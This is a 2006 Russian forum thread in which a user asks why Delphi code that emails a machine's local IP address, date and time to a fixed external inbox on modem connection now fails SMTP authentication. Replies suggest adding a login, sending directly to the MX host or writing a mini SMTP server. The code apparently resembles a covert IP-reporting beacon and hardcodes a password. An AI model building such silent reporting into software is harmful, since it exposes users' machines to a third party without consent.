PDA

Просмотр полной версии : 2 месяца не могу понять в чём ошибка?!?!?


Volk
18.03.2006, 12:31
Здравствуйте. Я использую в своей программе следующий код:
-------------------------------------------------------------------
procedure TForm1.Timer1Timer(Sender: TObject);
type TaPInAddr = Array[0..10] of PInAddr; PaPInAddr = ^TaPInAddr;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
strkind, D, T:string;
Indik: Integer;
phe: PHostEnt; pptr: PaPInAddr;Buffer: Array[0..63] of Char;I: Integer;GInitData: TWSAData;
begin
if GetConnect(strKind)and(strkind='Modem') then
begin
D:=FormatDateTime('dd.mm.yyyy', Date());
T:=FormatDateTime('hh:nn', Time());
LSMTP := TIdSMTP.Create(nil);
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
From.Address:=(IdIPWatch1.LocalIP);
Subject :='Тема';
Recipients.EMailAddresses := 'suport_service@inbox.ru';
From.Text :='odinokiy_volk@inbox.ru'; áóäåò ïèñüìî
Body.Add('Date:'+D);
Body.Add('Time:'+T);
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port :=25;
SocksInfo.Host:='odinokiy_volk@inbox.ru';
Password :='40968';
if SendE=false then
begin
Connect;
Send(LMsg);
SendE:=True;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
end;
end
else
sendE:=false;
end;
------------------------------------------------------------------
Вроде бы первое время работал. Ничё всё впоряде. А потом на отрез отказывается выдаёт ошибку: 503 Administrativie prohibition - - autorization requiered/ Users in your domian are not allowed to send email without authorization/See"Хэлп майл ру" Почему что нетак??? :confused: Подскажите!!! :( Меня это уже 2 месяца гложит. :o
--------------------------------------------------------------
Заранее всем спасибо!!!

LoFFi
18.03.2006, 13:03
Ну если я не ошибаюсь, то это прога на паскале, которая отсылает мыло. Естественно она использует указанный smtp сервер, который, видимо, теперь стал запрашивать аутентификацию. То есть теперь для того чтобы использовать данный smtp нужно ему пересылать login/pass
сделай соответсвтующие изменения в проге, должно работать

KEZ
18.03.2006, 13:43
1) твоя ошибка в том что ты ещё не выкинул делфи в окно
2) твоя ошибка в том что через SMTP сервер нельзя слать письма без аутентификации.
находи mx-запись сервера, на котором твой локальный юзер, и шли ему.

W!z@rD
21.03.2006, 22:19
опа ответили =)
На source видел исходники проги отправлющая маил... и на "хакер"`е.

EvL
25.03.2006, 21:02
напеши свой мини SMTP сервер и шли маилы.